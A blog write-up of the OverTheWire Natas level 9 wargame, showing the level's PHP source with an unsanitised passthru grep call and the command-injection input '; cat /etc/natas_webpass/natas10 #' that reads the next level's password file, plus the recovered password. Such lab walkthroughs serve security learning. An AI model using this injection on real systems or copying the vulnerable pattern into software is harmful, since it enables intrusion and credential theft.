OverTheWire Natas 9
The reason I group 2 levels in one post is that Natas 10 is upgraded version of Natas 9 ( there is a more upgraded version that is Natas 16 but i won’t spoil the fun now ).
Less talk, grab password from previous level and login. We greeted with a words search form. There is the source code :
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas9</h1> <div id="content"> <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key=""; if(array_key_exists("needle",$_REQUEST)){ $key=$_REQUEST["needle"]; } if($key!=""){ passthru("grep -i $key dictionary.txt"); } ?> </pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>This code takes word that is inserted in search form an search for it in dictionary.txt by using popular Linux tool grep. Don’t know what grep is ?. Read its manual here : http://linux.die.net/man/1/grep . Function passthru of PHP can be considered as a Linux shell that allow us to executes Linux command. -i switch is simply –ignore-case in search pattern.
OK, let play a bit. Search for hacker, it will output :
The full command will be :hacker hacker's hackers
grep -i hacker dictionary.txtThis code simple concat $key to predefined command, so we have full control in what ever we can insert. Some more information about some special symbols used in shell comand and script : (Full at here http://tldp.org/LDP/abs/html/special-chars.html)
; command separator, allow 2 command in one lineSo, by using ; we can insert one (or more) arbitray command and by using #, we can comment dictionary.txt out. We already knew that password for Natas 10 is stored at /etc/natas_webpass/natas10 . Finally, we come up with search word : ; cat /etc/natas_webpass/natas10 # . In this case our command will become:
# comment, the following command after this symbols will be commented.
. match any type character (regular expression)
* match one or more characters before (regular expression)
grep -i ; cat /etc/natas_webpass/natas10 # dictionary.txtwhich equivalent to output the content of
/etc/natas_webpass/natas10 (cat /etc/natas_webpass/natas10) . And the result :s09byvi8880wqhbnonMFMW8byCojm8eA
Comments
Post a Comment
plz add ur comment here